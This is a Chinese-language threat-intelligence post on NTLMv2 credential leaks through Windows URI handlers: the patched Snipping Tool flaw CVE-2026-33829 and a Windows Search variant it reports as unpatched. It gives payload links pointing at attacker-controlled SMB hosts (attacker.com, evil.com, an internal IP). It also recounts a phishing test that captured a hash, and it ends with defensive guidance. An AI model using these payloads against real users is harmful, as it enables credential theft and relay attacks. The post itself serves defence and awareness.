【威脅情資】從 CVE-2026–33829 到 Windows Search URI：分析未修補的 NTLMv2 外洩漏洞

【威脅情資】從 CVE-2026–33829 到 Windows Search URI：分析未修補的 NTLMv2 外洩漏洞

漏洞摘要 CVE-2026–33829 是 Microsoft 於 2026 年 4 月修補的 Windows Snipping Tool 資訊洩漏漏洞，該漏洞源於 Snipping Tool 在處理 ms-screensketch: URI Scheme 與filePath 參數時，未充分限制外部傳入的路徑格式，導致攻擊者可以透過特製連結指定惡意 UNC 路徑，誘導受害主機對攻擊者控制的 SMB Server 發起 NTLM 驗證，進而外洩 Net-NTLMv2 Challenge/Response 驗證資料

https://nvd.nist.gov/vuln/detail/cve-2026-33829

漏洞技術 此漏洞成因源自 Windows 允許應用程式註冊自訂 URI Scheme，讓使用者可以透過瀏覽器或其他應用程式直接喚起特定程式；

URI Scheme 可以理解成 URI 最前面的協定名稱，例如 https:、mailto:、file:都是常見 Scheme

Windows 允許應用程式註冊自訂 URI Scheme，讓瀏覽器、文件、聊天軟體或其他應用程式可以透過特定格式的連結喚起本機程式

而剪取工具註冊的 ms-screensketch 協定，支援透過 filePath 參數指定欲開啟的檔案路徑，問題在於程式在處理該參數時，未充分限制輸入只能指向本機檔案路徑，因此攻擊者可以將 filePath 設為外部 SMB 伺服器的 UNC 路徑，例如 \\evil.com\share\file.png

當受害者點擊惡意連結後，Windows 會啟動剪取工具並嘗試存取該遠端路徑；在存取 UNC 路徑的過程中，系統底層會自動透過 SMB 發起連線，若攻擊者控制的伺服器要求驗證，Windows 可能會使用目前登入使用者的身分資訊，透過 NTLM Challenge/Response 機制進行靜默驗證，進而造成 Net-NTLMv2 Challenge/Response 驗證資料外洩

簡單來說，這個漏洞不是傳統意義上的程式碼執行問題，而是因為應用程式允許外部輸入觸發遠端 UNC 路徑存取，最終讓攻擊者能夠誘導受害主機對惡意 SMB 伺服器進行身分驗證

漏洞利用流程：

1. 使用者點擊惡意連結  
例如：  
ms-screensketch:?filePath=\\attacker.com\share\a.png  

2. 瀏覽器判斷這不是 http/https，而是自訂 URI Scheme  

3. 瀏覽器把 ms-screensketch 交給 Windows Shell / URI Handler 處理  

4. Windows 查詢系統註冊資訊，確認 ms-screensketch 對應到剪取工具  

5. Windows 啟動剪取工具，並把整段 URI 或其中參數交給它  

6. 剪取工具解析 filePath 參數  

7. filePath 指向 \\attacker.com\share\a.png  

8. Windows 檔案 I/O 層判斷這是 UNC 網路路徑  

9. 系統嘗試建立 SMB 連線到 attacker.com 的 445/TCP  

10. 攻擊者控制的 SMB Server 要求驗證  

11. Windows 嘗試使用目前登入使用者的身分進行 NTLM 驗證  

12. 攻擊者取得 Net-NTLMv2 Challenge/Response 驗證資料

修補建議 CVE-2026–33829 已於 2026 年 4 月安全更新中修補，建議企業確認 Windows 10、Windows 11 與 Windows Server 主機已套用對應版本的累積更新

Rapid7 已整理不同 Windows 版本對應的修補 KB，可作為弱點管理與更新盤點時的參考

https://www.rapid7.com/db/vulnerabilities/microsoft-windows-cve-2026-33829/

想更深入該漏洞的其他資訊可以參考 cybersecuritynews 的文章

https://medium.com/r/?url=https%3A%2F%2Fcybersecuritynews.com%2Fwindows-snipping-tool-ntlm-hash%2F

新威脅

但在 6/3 時 The Hacker News 發布了一篇報導，該報導指出資安研究員 Huntress 在CVE-2026–33829 被修補後發現，相同類型的 NTLM 外洩手法仍可透過 Windows Search search:URI Handler 觸發

這次新發現的缺陷，是透過 search: 與 crumb=location: 達成相同目的，而不是透過 filePath

範例指令如下：

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

該漏洞使用同樣的 NTLM 洩漏機制，觸發時會產生相同 Net-NTLMv 2 洩漏，與 CVE-2026–33829 同樣被評為 Moderate 等級，攻擊者可以利用拿到的 Hash 進行 Relay Attack，並進一步橫向移動存取目標網路

根據資安研究員 Huntress 的說明，他在四月通報微軟後，微軟回覆此問題未達其 servicing bar，理由是只有 Important 與 Critical 嚴重程度的案例符合修補門檻，因此目前該 Windows Search URI 問題並未被修復

https://thehackernews.com/2026/06/unpatched-windows-search-uri.html

測試-CVE-2026–33829

受害者開啟釣魚網頁，並點擊含有 ms-screensketch: 協議的釣魚連結

CVE-2026–33829

Windows 檢測到 ms-screensketch:後啟動剪取工具並嘗試存取該遠端路徑

CVE-2026–33829

CVE-2026–33829

獲得NTLMv2 HASH

CVE-2026–33829

測試-Windows Search URI 漏洞實際操作影片

[embed]

防禦與應對建議：

實際測試並觀測流量後確認，該攻擊會在受害主機觀察到 SearchFilterHost.exe process 的建立，網路流量則是瀏覽器先連往 80，接著 SYSTEM 連往 445，這是由於在 Windows 系統中任何應用程式要存取 UNC 路徑時，會將存取請求傳遞給 Windows Kernel-Mode 的 MUP (Multiple UNC Provider) 與 SMB Redirector 驅動 (mrxsmb.sys)，所以 SMB 對外連線觀察到的發起者時常會發現是 SYSTEM / PID 4

因為微軟目前沒有修復該漏洞，而遙測資料又難以與一般合法 SMB 服務區分，最根本的防禦仍須回歸到網路層級的控制，全面封鎖非必要的 Outbound SMB 流量，也就是 TCP/445 與 TCP/139，只允許連往明確核准的內部檔案伺服器

身分驗證層面，建議強制啟用 SMB Signing，以降低 Net-NTLMv2 Challenge/Response 被中繼至內部服務的風險；若環境允許，應逐步盤點並限制 NTLM 使用，避免 NTLM 成為可被重複濫用的驗證機制